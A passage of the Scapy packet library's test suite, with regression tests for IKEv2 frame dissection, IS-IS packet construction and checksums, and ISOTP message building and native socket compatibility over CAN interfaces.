ke=b'F\x16\x84\x82\xfeS#?\xc1\xe2/\x97&\xb7\xad\xfe\r\xfc\xf5=\x15X\xfdf1h$\xce\xec2\xd4\xd3?\x57\x79\x41\xd3\xd5.\x92\x9b;\xed\x0b.\xef\x12\x88a\x17\xcd5\x86U\xf2\xf6\xff\xd6\xfbT\xfdH\xbb\xc5' ) /\ IKEv2_Nonce( next_payload=41, flags=0, length=44, nonce=b'\xa5s\xe3?b\xcf(\x93\xf8\n\xbe\xd1g|\xa3\x03$\x9b\xf9\n\xae\x99\x98\x00R\xcb\xdf\xd9\xccknp`Xi\xef\x14+\xcd\xfd' ) /\ IKEv2_Notify( next_payload=41, flags=0, length=28, proto='IKE', type='NAT_DETECTION_DESTINATION_IP', notify=b",\x07\xd7Q\x9a\xd8\xdf#\xa20'\xe9\xe7\xc2eK2\xc4\xe0\xf3" ) /\ IKEv2_Notify( next_payload=41, flags=0, length=28, proto='IKE', type='NAT_DETECTION_SOURCE_IP', notify=b'\x1a\x1d\x00\x1c\xd4\xd0oB\xd1\xce\x83o|\xeda\xc6\x83\xb1\x87\xef' ) /\ IKEv2_Notify( next_payload=41, flags=0, length=8, type='IKEV2_FRAGMENTATION_SUPPORTED' ) /\ IKEv2_Notify( next_payload=41, flags=0, length=14, type='REDIRECTED_FROM', gw_id_type=1, gw_id_len=4, gw_id='10.5.2.52' ) /\ IKEv2_Notify( next_payload=0, flags=0, length=16, type='SIGNATURE_HASH_ALGORITHMS', notify=b'\x00\x01\x00\x02\x00\x03\x00\x04' ) ), ( # i: frame number 3, # title: "IKE_SA_INIT response (no_proposal_chosen)", # data: raw frame data binascii.unhexlify(''.join(""" 005056991bcc0050 5699076608004500 0040f24c00004011 6fe60a0502350a05 023c01f42ac8002c c8e31c88ee0b7793 d52e63cc9c1919de 33e7292022200000 0000000000240000 00080100000e """.split())), # packet: Ether / IP / UDP / IKEv2 / ... Ether(dst='00:50:56:99:1b:cc', src='00:50:56:99:07:66', type=2048) /\ IP(version=4, ihl=5, tos=0, id=62028, flags=0, frag=0, ttl=64, proto=17, src='10.5.2.53', dst='10.5.2.60') /\ UDP(sport=500, dport=10952) /\ IKEv2( init_SPI=b'\x1c\x88\xee\x0bw\x93\xd5.', resp_SPI=b'c\xcc\x9c\x19\x19\xde3\xe7', next_payload=41, version=32, exch_type=34, flags=32, id=0 ) /\ IKEv2_Notify( next_payload=0, flags=0, length=8, proto='IKE', type='NO_PROPOSAL_CHOSEN' ) ), ] for i, title, data, packet in frames: print(title) if i >= 0: # the raw frame data coincides with the frame from the packet capture assert data == raw(pcap[i]) # the scapy packet correctly describes the frame assert raw(packet) == data # reassembling the dissected frame yields the original frame assert raw(Ether(data)) == data ================================================ FILE: test/contrib/isis.uts ================================================ % IS-IS Tests * Tests for the IS-IS layer + Syntax check = Import the isis layer from scapy.contrib.isis import * + Basic Layer Tests = Layer Binding p = Dot3()/LLC()/ISIS_CommonHdr()/ISIS_P2P_Hello() assert p[LLC].dsap == 0xfe assert p[LLC].ssap == 0xfe assert p[LLC].ctrl == 0x03 assert p[ISIS_CommonHdr].nlpid == 0x83 assert p[ISIS_CommonHdr].pdutype == 17 assert p[ISIS_CommonHdr].hdrlen == 20 + Package Tests = P2P Hello p = Dot3(dst="09:00:2b:00:00:05",src="00:00:00:aa:00:8c")/LLC()/ISIS_CommonHdr()/ISIS_P2P_Hello( holdingtime=40, sourceid="1720.1600.8016", tlvs=[ ISIS_ProtocolsSupportedTlv(nlpids=["IPv4", "IPv6"]) ]) p = p.__class__(raw(p)) assert p[ISIS_P2P_Hello].pdulength == 24 assert network_layer_protocol_ids[p[ISIS_ProtocolsSupportedTlv].nlpids[1]] == "IPv6" = LSP p = Dot3(dst="09:00:2b:00:00:05",src="00:00:00:aa:00:8c")/LLC()/ISIS_CommonHdr()/ISIS_L2_LSP( lifetime=863, lspid="1720.1600.8016.00-00", seqnum=0x1f0, typeblock="L1+L2", tlvs=[ ISIS_AreaTlv( areas=[ISIS_AreaEntry(areaid="49.1000")] ), ISIS_ProtocolsSupportedTlv( nlpids=["IPv4", "IPv6"] ), ISIS_DynamicHostnameTlv( hostname="BR-HH" ), ISIS_IpInterfaceAddressTlv( addresses=["172.16.8.16"] ), ISIS_GenericTlv( type=134, val=b"\xac\x10\x08\x10" ), ISIS_ExtendedIpReachabilityTlv( pfxs=[ ISIS_ExtendedIpPrefix(metric=0, pfx="172.16.8.16/32"), ISIS_ExtendedIpPrefix(metric=10, pfx="10.1.0.109/30"), ISIS_ExtendedIpPrefix(metric=10, pfx="10.1.0.181/30") ] ), ISIS_Ipv6ReachabilityTlv( pfxs=[ ISIS_Ipv6Prefix(metric=0, pfx="fe10:1::10/128"), ISIS_Ipv6Prefix(metric=10, pfx="fd1f:1::/64"), ISIS_Ipv6Prefix(metric=10, pfx="fd1f:1:12::/64") ] ), ISIS_ExtendedIsReachabilityTlv( neighbours=[ISIS_ExtendedIsNeighbourEntry(neighbourid="1720.1600.8004.00", metric=10)] ) ]) p = p.__class__(raw(p)) assert p[ISIS_L2_LSP].pdulength == 150 assert p[ISIS_L2_LSP].checksum == 0x8701 = LSP with Sub-TLVs p = Dot3(dst="09:00:2b:00:00:05",src="00:00:00:aa:00:8c")/LLC()/ISIS_CommonHdr()/ISIS_L2_LSP( lifetime=863, lspid="1720.1600.8016.00-00", seqnum=0x1f0, typeblock="L1+L2", tlvs=[ ISIS_AreaTlv( areas=[ISIS_AreaEntry(areaid="49.1000")] ), ISIS_ProtocolsSupportedTlv( nlpids=["IPv4", "IPv6"] ), ISIS_DynamicHostnameTlv( hostname="BR-HH" ), ISIS_IpInterfaceAddressTlv( addresses=["172.16.8.16"] ), ISIS_GenericTlv( type=134, val=b"\xac\x10\x08\x10" ), ISIS_ExtendedIpReachabilityTlv( pfxs=[ ISIS_ExtendedIpPrefix(metric=0, pfx="172.16.8.16/32"), ISIS_ExtendedIpPrefix(metric=10, pfx="10.1.0.109/30", subtlvindicator=1, subtlvs=[ ISIS_32bitAdministrativeTagSubTlv(tags=[321, 123]), ISIS_64bitAdministrativeTagSubTlv(tags=[54321, 4294967311]), ISIS_PrefixSegmentIdentifierSubTlv(flags="P", algorithm=0, idx=20) ]), ISIS_ExtendedIpPrefix(metric=10, pfx="10.20.30.40/32", subtlvindicator=1, subtlvs=[ ISIS_PrefixSegmentIdentifierSubTlv(flags=["L", "V", "N"], algorithm=0, sid=1000) ]), ISIS_ExtendedIpPrefix(metric=10, pfx="10.1.0.181/30", subtlvindicator=1, subtlvs=[ ISIS_GenericSubTlv(type=123, val=b"\x11\x1f\x01\x1c") ]) ] ), ISIS_Ipv6ReachabilityTlv( pfxs=[ ISIS_Ipv6Prefix(metric=0, pfx="fe10:1::10/128"), ISIS_Ipv6Prefix(metric=10, pfx="fd1f:1::/64", subtlvindicator=1, subtlvs=[ ISIS_GenericSubTlv(type=99, val=b"\x1f\x01\x1f\x01\x11\x1f\x01\x1c") ]), ISIS_Ipv6Prefix(metric=10, pfx="fd1f:1:12::/64") ] ), ISIS_ExtendedIsReachabilityTlv( neighbours=[ ISIS_ExtendedIsNeighbourEntry(neighbourid="1720.1600.8004.00", metric=10, subtlvs=[ ISIS_IPv4InterfaceAddressSubTlv(address="172.16.8.4"), ISIS_LinkLocalRemoteIdentifiersSubTlv(localid=418, remoteid=54321), ISIS_IPv6NeighborAddressSubTlv(address="fe10:1::5"), ISIS_MaximumLinkBandwidthSubTlv(maxbw=125000000), ISIS_UnreservedBandwidthSubTlv(unrsvbw=[125000000, 125000000, 125000000, 125000000, 125000000, 125000000, 125000000, 125000000]), ISIS_TEDefaultMetricSubTlv(temetric=16777214) ]) ] ), ISIS_ExternalIpReachabilityTlv( type=130 ), ISIS_RouterCapabilityTlv( type=242, routerid="10.20.30.40", subtlvs=[ ISIS_SRCapabilitiesSubTLV( flags='I', srgb_ranges=[ ISIS_SRGBDescriptorEntry( range=1000, sid_label=ISIS_SIDLabelSubTLV( sid=10 ) ), ISIS_SRGBDescriptorEntry( range=5000, sid_label=ISIS_SIDLabelSubTLV( idx=20 ) ), ] ), ISIS_SRAlgorithmSubTLV(algorithms=[0, 1]) ] ) ]) p = p.__class__(raw(p)) assert p[ISIS_L2_LSP].pdulength == 332 assert p[ISIS_L2_LSP].checksum == 0x074f assert p[ISIS_ExtendedIpReachabilityTlv].pfxs[1].subtlvs[1].tags[0]==54321 assert p[ISIS_ExtendedIpReachabilityTlv].pfxs[2].subtlvs[0].sid==1000 assert p[ISIS_Ipv6ReachabilityTlv].pfxs[1].subtlvs[0].len==8 assert p[ISIS_ExtendedIsReachabilityTlv].neighbours[0].subtlvs[0].address=='172.16.8.4' assert p[ISIS_ExtendedIsReachabilityTlv].neighbours[0].subtlvs[1].localid==418 assert p[ISIS_ExtendedIsReachabilityTlv].neighbours[0].subtlvs[3].maxbw==125000000 assert p[ISIS_ExtendedIsReachabilityTlv].neighbours[0].subtlvs[4].unrsvbw[0]==125000000 assert p[ISIS_ExtendedIsReachabilityTlv].neighbours[0].subtlvs[5].temetric==16777214 assert p[ISIS_ExternalIpReachabilityTlv].type==130 assert p[ISIS_RouterCapabilityTlv].type==242 assert p[ISIS_RouterCapabilityTlv].subtlvs[0].srgb_ranges[0].range==1000 assert p[ISIS_RouterCapabilityTlv].subtlvs[0].srgb_ranges[0].sid_label.sid==10 assert p[ISIS_RouterCapabilityTlv].subtlvs[1].algorithms==[0, 1] ================================================ FILE: test/contrib/isotp_message_builder.uts ================================================ % Regression tests for ISOTP Message Builder + Configuration ~ conf = Definition of utility functions # hexadecimal to bytes convenience function dhex = bytes.fromhex = Import isotp conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': False} load_layer("can", globals_dict=globals()) load_contrib("isotp", globals_dict=globals()) + Testing ISOTPMessageBuilder = Create ISOTPMessageBuilder m = ISOTPMessageBuilder() = Feed packets to machine ff = CAN(identifier=0x241, data=dhex("10 28 01 02 03 04 05 06")) ff.time = 1000 m.feed(ff) m.feed(CAN(identifier=0x641, data=dhex("30 03 00" ))) m.feed(CAN(identifier=0x241, data=dhex("21 07 08 09 0A 0B 0C 0D"))) m.feed(CAN(identifier=0x241, data=dhex("22 0E 0F 10 11 12 13 14"))) m.feed(CAN(identifier=0x241, data=dhex("23 15 16 17 18 19 1A 1B"))) m.feed(CAN(identifier=0x641, data=dhex("30 03 00" ))) m.feed(CAN(identifier=0x241, data=dhex("24 1C 1D 1E 1F 20 21 22"))) m.feed(CAN(identifier=0x241, data=dhex("25 23 24 25 26 27 28" ))) = Verify there is a ready message in the machine assert m.count == 1 = Extract the message from the machine msg = m.pop() assert m.count == 0 assert msg.rx_id == 0x241 assert msg.rx_ext_address is None assert msg.tx_id == 0x641 assert msg.ext_address is None assert msg.time == 1000 expected = dhex("01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27 28") assert msg.data == expected = Verify that no error happens when there is not enough data m = ISOTPMessageBuilder() m.feed(CAN(identifier=0x241, data=dhex("04 AB CD EF"))) msg = m.pop() assert msg is None = Verify that no error happens when there is no data m = ISOTPMessageBuilder() m.feed(CAN(identifier=0x241, data=dhex(""))) msg = m.pop() assert msg is None = Verify a single frame without EA m = ISOTPMessageBuilder() m.feed(CAN(identifier=0x241, data=dhex("04 AB CD EF 04"))) msg = m.pop() assert msg.rx_id == 0x241 assert msg.rx_ext_address is None assert msg.data == dhex("AB CD EF 04") = Single frame without EA, with excessive bytes in CAN frame m = ISOTPMessageBuilder() m.feed(CAN(identifier=0x241, data=dhex("03 AB CD EF AB CD EF AB"))) msg = m.pop() assert msg.rx_id == 0x241 assert msg.rx_ext_address is None assert msg.data == dhex("AB CD EF") = Verify a single frame with EA m = ISOTPMessageBuilder() m.feed(CAN(identifier=0x241, data=dhex("E2 04 01 02 03 04"))) msg = m.pop() assert msg.rx_id == 0x241 assert msg.rx_ext_address == 0xE2 assert msg.data == dhex("01 02 03 04") = Single CAN frame that has 2 valid interpretations m = ISOTPMessageBuilder() m.feed(CAN(identifier=0x241, data=dhex("04 01 02 03 04"))) msg = m.pop(0x241, None) assert msg.rx_id == 0x241 assert msg.rx_ext_address is None assert msg.data == dhex("01 02 03 04") msg = m.pop() assert msg.rx_id == 0x241 assert msg.rx_ext_address == 0x04 assert msg.data == dhex("02") = Verify multiple frames with EA m = ISOTPMessageBuilder() ff = CAN(identifier=0x241, data=dhex("EA 10 28 01 02 03 04 05")) ff.time = 1005 m.feed(ff) m.feed(CAN(identifier=0x641, data=dhex("EA 30 03 00" ))) m.feed(CAN(identifier=0x241, data=dhex("EA 21 06 07 08 09 0A 0B"))) m.feed(CAN(identifier=0x241, data=dhex("EA 22 0C 0D 0E 0F 10 11"))) m.feed(CAN(identifier=0x241, data=dhex("EA 23 12 13 14 15 16 17"))) m.feed(CAN(identifier=0x641, data=dhex("EA 30 03 00" ))) m.feed(CAN(identifier=0x241, data=dhex("EA 24 18 19 1A 1B 1C 1D"))) m.feed(CAN(identifier=0x241, data=dhex("EA 25 1E 1F 20 21 22 23"))) m.feed(CAN(identifier=0x241, data=dhex("EA 26 24 25 26 27 28" ))) msg = m.pop() assert msg.rx_id == 0x241 assert msg.rx_ext_address == 0xEA assert msg.tx_id == 0x641 assert msg.ext_address == 0xEA assert msg.time == 1005 assert msg.data == dhex("01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27 28") = Verify multiple frames with EA 2 m = ISOTPMessageBuilder() m.feed(CAN(identifier=0x241, data=dhex("EA 10 28 01 02 03 04 05"))) m.feed(CAN(identifier=0x641, data=dhex("AE 30 03 00" ))) m.feed(CAN(identifier=0x241, data=dhex("EA 21 06 07 08 09 0A 0B"))) m.feed(CAN(identifier=0x241, data=dhex("EA 22 0C 0D 0E 0F 10 11"))) m.feed(CAN(identifier=0x241, data=dhex("EA 23 12 13 14 15 16 17"))) m.feed(CAN(identifier=0x641, data=dhex("AE 30 03 00" ))) m.feed(CAN(identifier=0x241, data=dhex("EA 24 18 19 1A 1B 1C 1D"))) m.feed(CAN(identifier=0x241, data=dhex("EA 25 1E 1F 20 21 22 23"))) m.feed(CAN(identifier=0x241, data=dhex("EA 26 24 25 26 27 28" ))) msg = m.pop() assert msg.rx_id == 0x241 assert msg.rx_ext_address == 0xEA assert msg.tx_id == 0x641 assert msg.ext_address == 0xAE assert msg.data == dhex("01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27 28") = Verify that an EA starting with 1 will still work m = ISOTPMessageBuilder() m.feed(CAN(identifier=0x241, data=dhex("1A 10 14 01 02 03 04 05"))) m.feed(CAN(identifier=0x641, data=dhex("1A 30 03 00" ))) m.feed(CAN(identifier=0x241, data=dhex("1A 21 06 07 08 09 0A 0B"))) m.feed(CAN(identifier=0x241, data=dhex("1A 22 0C 0D 0E 0F 10 11"))) m.feed(CAN(identifier=0x241, data=dhex("1A 23 12 13 14 15 16 17"))) msg = m.pop() assert msg.rx_id == 0x241 assert msg.rx_ext_address == 0x1A assert msg.tx_id == 0x641 assert msg.ext_address == 0x1A assert msg.data == dhex("01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14") = Verify that an EA of 07 will still work m = ISOTPMessageBuilder() m.feed(CAN(identifier=0x241, data=dhex("07 10 0A 01 02 03 04 05"))) m.feed(CAN(identifier=0x641, data=dhex("07 30 03 00" ))) m.feed(CAN(identifier=0x241, data=dhex("07 21 06 07 08 09 0A 0B"))) msg = m.pop(0x241, 0x07) assert msg.rx_id == 0x241 assert msg.rx_ext_address == 0x07 assert msg.tx_id == 0x641 assert msg.ext_address == 0x07 assert msg.data == dhex("01 02 03 04 05 06 07 08 09 0A") = Verify that three interleaved messages can be sniffed simultaneously on the same identifier and extended address (very unrealistic) m = ISOTPMessageBuilder() ff = CAN(identifier=0x241, data=dhex("EA 10 28 01 02 03 04 05")) ff.time = 300 m.feed(ff) # start of message A m.feed(CAN(identifier=0x641, data=dhex("EA 30 03 00" ))) m.feed(CAN(identifier=0x241, data=dhex("EA 21 06 07 08 09 0A 0B"))) m.feed(CAN(identifier=0x241, data=dhex("EA 22 0C 0D 0E 0F 10 11"))) m.feed(CAN(identifier=0x241, data=dhex("EA 23 12 13 14 15 16 17"))) ff = CAN(identifier=0x241, data=dhex("EA 10 10 31 32 33 34 35")) ff.time = 400 m.feed(ff) # start of message B m.feed(CAN(identifier=0x641, data=dhex("EA 30 03 00" ))) sf = CAN(identifier=0x241, data=dhex("EA 03 A6 A7 A8" )) sf.time = 200 m.feed(sf) # single-frame message C m.feed(CAN(identifier=0x641, data=dhex("EA 30 03 00" ))) m.feed(CAN(identifier=0x241, data=dhex("EA 24 18 19 1A 1B 1C 1D"))) m.feed(CAN(identifier=0x241, data=dhex("EA 21 36 37 38 39 3A 3B"))) m.feed(CAN(identifier=0x241, data=dhex("EA 22 3C 3D 3E 3F 40" ))) # end of message B m.feed(CAN(identifier=0x241, data=dhex("EA 25 1E 1F 20 21 22 23"))) m.feed(CAN(identifier=0x241, data=dhex("EA 26 24 25 26 27 28" ))) # end of message A msg = m.pop() assert msg.rx_id == 0x241 assert msg.rx_ext_address == 0xEA assert msg.data == dhex("A6 A7 A8") assert msg.time == 200 msg = m.pop() assert msg.rx_id == 0x241 assert msg.rx_ext_address == 0xEA assert msg.tx_id == 0x641 assert msg.ext_address == 0xEA assert msg.time == 400 assert msg.data == dhex("31 32 33 34 35 36 37 38 39 3A 3B 3C 3D 3E 3F 40") msg = m.pop() assert msg.rx_id == 0x241 assert msg.rx_ext_address == 0xEA assert msg.tx_id == 0x641 assert msg.ext_address == 0xEA assert msg.time == 300 assert msg.data == dhex("01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27 28") = Verify multiple frames with EA from list m = ISOTPMessageBuilder() msgs = [ CAN(identifier=0x241, data=dhex("EA 10 28 01 02 03 04 05")), CAN(identifier=0x641, data=dhex("EA 30 03 00" )), CAN(identifier=0x241, data=dhex("EA 21 06 07 08 09 0A 0B")), CAN(identifier=0x241, data=dhex("EA 22 0C 0D 0E 0F 10 11")), CAN(identifier=0x241, data=dhex("EA 23 12 13 14 15 16 17")), CAN(identifier=0x641, data=dhex("EA 30 03 00" )), CAN(identifier=0x241, data=dhex("EA 24 18 19 1A 1B 1C 1D")), CAN(identifier=0x241, data=dhex("EA 25 1E 1F 20 21 22 23")), CAN(identifier=0x241, data=dhex("EA 26 24 25 26 27 28" ))] m.feed(msgs) msg = m.pop() assert msg.rx_id == 0x241 assert msg.rx_ext_address == 0xEA assert msg.tx_id == 0x641 assert msg.ext_address == 0xEA assert msg.data == dhex("01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27 28") = Verify multiple frames with EA from list and iterator m = ISOTPMessageBuilder() msgs = [ CAN(identifier=0x241, data=dhex("EA 10 28 01 02 03 04 05")), CAN(identifier=0x641, data=dhex("EA 30 03 00" )), CAN(identifier=0x241, data=dhex("EA 21 06 07 08 09 0A 0B")), CAN(identifier=0x241, data=dhex("EA 22 0C 0D 0E 0F 10 11")), CAN(identifier=0x241, data=dhex("EA 23 12 13 14 15 16 17")), CAN(identifier=0x641, data=dhex("EA 30 03 00" )), CAN(identifier=0x241, data=dhex("EA 24 18 19 1A 1B 1C 1D")), CAN(identifier=0x241, data=dhex("EA 25 1E 1F 20 21 22 23")), CAN(identifier=0x241, data=dhex("EA 26 24 25 26 27 28" )), CAN(identifier=0x241, data=dhex("EA 03 A6 A7 A8" )), CAN(identifier=0x241, data=dhex("EA 03 A6 A7 A8"))] m.feed(msgs) assert m.count == 3 assert len(m) == 3 isotpmsgs = [x for x in m] assert len(isotpmsgs) == 3 msg = isotpmsgs[0] assert msg.rx_id == 0x241 assert msg.rx_ext_address == 0xEA assert msg.tx_id == 0x641 assert msg.ext_address == 0xEA assert msg.data == dhex("01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27 28") assert isotpmsgs[1] == isotpmsgs[2] = Verify a single frame without EA and different basecls m = ISOTPMessageBuilder(basecls=Raw) m.feed(CAN(identifier=0x241, data=dhex("04 AB CD EF 04"))) msg = m.pop() assert msg.load == dhex("AB CD EF 04") assert type(msg) == Raw ================================================ FILE: test/contrib/isotp_native_socket.uts ================================================ % Regression tests for ISOTPNativeSocket ~ automotive_comm + Configuration ~ conf = Imports with open(scapy_path("test/contrib/automotive/interface_mockup.py")) as f: exec(f.read()) = Definition of constants, utility functions and mock classes # hexadecimal to bytes convenience function dhex = bytes.fromhex + Compatibility with can-isotp linux kernel modules = Compatibility with isotpsend exit_if_no_isotp_module() message = "01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14" with new_can_socket0() as isocan, ISOTPSoftSocket(isocan, tx_id=0x642, rx_id=0x242) as s: p = subprocess.Popen(["isotpsend", "-s", "242", "-d", "642", iface0], stdin=subprocess.PIPE, universal_newlines=True) p.communicate(message) r = p.returncode assert r == 0 isotp = s.recv() assert isotp.data == dhex(message) = Compatibility with isotpsend - extended addresses exit_if_no_isotp_module() message = "01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14" with new_can_socket0() as isocan, ISOTPSoftSocket(isocan, tx_id=0x644, rx_id=0x244, ext_address=0xaa, rx_ext_address=0xee) as s: p = subprocess.Popen(["isotpsend", "-s", "244", "-d", "644", "-x", "ee:aa", iface0], stdin=subprocess.PIPE, universal_newlines=True) p.communicate(message) r = p.returncode assert r == 0 isotp = s.recv() assert isotp.data == dhex(message) = Compatibility with isotprecv exit_if_no_isotp_module() isotp = ISOTP(data=bytearray(range(1,20))) p = subprocess.Popen(["isotprecv", "-s", "243", "-d", "643", "-b", "3", iface0], stdout=subprocess.PIPE) time.sleep(0.1) with new_can_socket0() as isocan, ISOTPSoftSocket(isocan, tx_id=0x643, rx_id=0x243) as s: s.send(isotp) timer = threading.Timer(1, lambda: p.terminate() if p.poll() else p.wait()) timer.start() # Timeout the receiver after 1 second r = p.wait() assert 0 == r result = None for i in range(10): time.sleep(0.1) if p.poll() is not None: result = p.stdout.readline().decode().strip() break assert result is not None result_data = dhex(result) assert result_data == isotp.data timer.join(5) assert not timer.is_alive() = Compatibility with isotprecv - extended addresses exit_if_no_isotp_module() isotp = ISOTP(data=bytearray(range(1,20))) cmd = ["isotprecv", "-s245", "-d645", "-b3", "-x", "ee:aa", iface0] p = subprocess.Popen(cmd, stdout=subprocess.PIPE) time.sleep(0.1) # Give some time for starting reception with new_can_socket0() as isocan, ISOTPSoftSocket(isocan, tx_id=0x645, rx_id=0x245, ext_address=0xaa, rx_ext_address=0xee) as s: s.send(isotp) timer = threading.Timer(1, lambda: p.terminate() if p.poll() else p.wait()) timer.start() # Timeout the receiver after 1 second r = p.wait() assert 0 == r result = None for i in range(10): time.sleep(0.1) if p.poll() is not None: result = p.stdout.readline().decode().strip() break assert result is not None result_data = dhex(result) assert result_data == isotp.data timer.join(5) assert not timer.is_alive() = Compatibility ISOTPSoftSocket ISOTPNativeSocket various configs exit_if_no_isotp_module() message = "01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14" * 5 kwargs = [({"tx_id": 0x242, "rx_id": 0x642, "bs": 0, "stmin": 0, "padding": False, "ext_address": None, "rx_ext_address": None}, {"tx_id": 0x642, "rx_id": 0x242, "bs": 0, "stmin": 0, "padding": False, "ext_address": None, "rx_ext_address": None}), ({"tx_id": 0x242, "rx_id": 0x642, "bs": 2, "stmin": 0, "padding": False, "ext_address": None, "rx_ext_address": None}, {"tx_id": 0x642, "rx_id": 0x242, "bs": 0, "stmin": 0, "padding": False, "ext_address": None, "rx_ext_address": None}), ({"tx_id": 0x242, "rx_id": 0x642, "bs": 5, "stmin": 0, "padding": False, "ext_address": None, "rx_ext_address": None}, {"tx_id": 0x642, "rx_id": 0x242, "bs": 0, "stmin": 0, "padding": False, "ext_address": None, "rx_ext_address": None}), ({"tx_id": 0x242, "rx_id": 0x642, "bs": 0, "stmin": 5, "padding": False, "ext_address": None, "rx_ext_address": None}, {"tx_id": 0x642, "rx_id": 0x242, "bs": 0, "stmin": 0, "padding": False, "ext_address": None, "rx_ext_address": None}), ({"tx_id": 0x242, "rx_id": 0x642, "bs": 0, "stmin": 10, "padding": False, "ext_address": None, "rx_ext_address": None}, {"tx_id": 0x642, "rx_id": 0x242, "bs": 0, "stmin": 0, "padding": False, "ext_address": None, "rx_ext_address": None}), ({"tx_id": 0x242, "rx_id": 0x642, "bs": 4, "stmin": 130, "padding": False, "ext_address": None, "rx_ext_address": None}, {"tx_id": 0x642, "rx_id": 0x242, "bs": 0, "stmin": 0, "padding": False, "ext_address": None, "rx_ext_address": None}), ({"tx_id": 0x242, "rx_id": 0x642, "bs": 3, "stmin": 0, "padding": True, "ext_address": None, "rx_ext_address": None}, {"tx_id": 0x642, "rx_id": 0x242, "bs": 0, "stmin": 0, "padding": True, "ext_address": None, "rx_ext_address": None}), ({"tx_id": 0x242, "rx_id": 0x642, "bs": 0, "stmin": 0, "padding": False, "ext_address": 0xfe, "rx_ext_address": None}, {"tx_id": 0x642, "rx_id": 0x242, "bs": 0, "stmin": 0, "padding": False, "ext_address": 0xfe, "rx_ext_address": None}), ({"tx_id": 0x242, "rx_id": 0x642, "bs": 0, "stmin": 0, "padding": False, "ext_address": 0xfe, "rx_ext_address": 0xef}, {"tx_id": 0x642, "rx_id": 0x242, "bs": 0, "stmin": 0, "padding": False, "ext_address": 0xef, "rx_ext_address": 0xfe}), ({"tx_id": 0x242, "rx_id": 0x642, "bs": 6, "stmin": 10, "padding": True, "ext_address": 0x12, "rx_ext_address": 0x23}, {"tx_id": 0x642, "rx_id": 0x242, "bs": 6, "stmin": 5, "padding": True, "ext_address": 0x23, "rx_ext_address": 0x12}), ({"tx_id": 0x242, "rx_id": 0x642, "bs": 0, "stmin": 0, "padding": True, "ext_address": 0x45, "rx_ext_address": None}, {"tx_id": 0x642, "rx_id": 0x242, "bs": 0, "stmin": 40, "padding": True, "ext_address": 0x45, "rx_ext_address": None}), ({"tx_id": 0x123, "rx_id": 0x642, "bs": 1, "stmin": 1, "padding": False, "ext_address": None, "rx_ext_address": None}, {"tx_id": 0x642, "rx_id": 0x123, "bs": 1, "stmin": 1, "padding": False, "ext_address": None, "rx_ext_address": None}),] for kwargs1, kwargs2 in kwargs: print("Testing config %s, %s" % (kwargs1, kwargs2)) with NativeCANSocket(iface0) as cs: cs.sniff(timeout=0.01) with ISOTPSoftSocket(iface0, **kwargs1) as s, ISOTPNativeSocket(iface0, **kwargs2) as ns: ns.send(ISOTP(bytes.fromhex(message))) isotp = s.recv() assert isotp.data == dhex(message) ns.send(ISOTP(bytes.fromhex("00 11 22"))) isotp = s.recv() assert (isotp.data == dhex("00 11 22")) pks1 = cs.sniff(timeout=0.01) with ISOTPNativeSocket(iface0, **kwargs1) as s, ISOTPSoftSocket(iface0, **kwargs2) as ns: ns.send(ISOTP(bytes.fromhex(message))) isotp = s.recv() assert isotp.data == dhex(message) ns.send(ISOTP(bytes.fromhex("00 11 22"))) isotp = s.recv() assert (isotp.data == dhex("00 11 22")) pks2 = cs.sniff(timeout=0.01) assert len(pks1) == len(pks2) and len(pks2) > 0 for p1, p2 in zip(pks1, pks2): assert bytes(p1) == bytes(p2) + ISOTPNativeSocket tests = Create ISOTP socket exit_if_no_isotp_module() s = ISOTPNativeSocket(iface0, tx_id=0x641, rx_id=0x241) = Send single frame ISOTP message exit_if_no_isotp_module() with new_can_socket(iface0) as cans: s = ISOTPNativeSocket(iface0, tx_id=0x641, rx_id=0x241) s.send(ISOTP(data=dhex("01 02 03 04 05"))) can = cans.sniff(timeout=1, count=1)[0] assert can.identifier == 0x641 assert can.data == dhex("05 01 02 03 04 05") = Send single frame ISOTP message Test init with CANSocket exit_if_no_isotp_module() cans = CANSocket(iface0) s = ISOTPNativeSocket(cans, tx_id=0x641, rx_id=0x241) s.send(ISOTP(data=dhex("01 02 03 04 05"))) can = cans.sniff(timeout=1, count=1)[0] assert can.identifier == 0x641 assert can.data == dhex("05 01 02 03 04 05") cans.close() = Test init with wrong type exit_if_no_isotp_module() exception_catched = False try: s = ISOTPNativeSocket(42, tx_id=0x641, rx_id=0x241) except Scapy_Exception: exception_catched = True assert exception_catched = Send two-frame ISOTP message exit_if_no_isotp_module() evt = threading.Event() def acker(): with new_can_socket(iface0) as cans: evt.set() can = cans.sniff(timeout=1, count=1)[0] cans.send(CAN(identifier = 0x241, data=dhex("30 00 00"))) with new_can_socket(iface0) as cans: t = Thread(target=acker) t.start() s = ISOTPNativeSocket(iface0, tx_id=0x641, rx_id=0x241) evt.wait(timeout=5) s.send(ISOTP(data=dhex("01 02 03 04 05 06 07 08"))) can = cans.sniff(timeout=1, count=1)[0] assert can.identifier == 0x641 assert can.data == dhex("10 08 01 02 03 04 05 06") can = cans.sniff(timeout=1, count=1)[0] assert can.identifier == 0x241 assert can.data == dhex("30 00 00") can = cans.sniff(timeout=1, count=1)[0] assert can.identifier == 0x641 assert can.data == dhex("21 07 08") t.join(timeout=5) assert not t.is_alive() = Send a single frame ISOTP message with padding 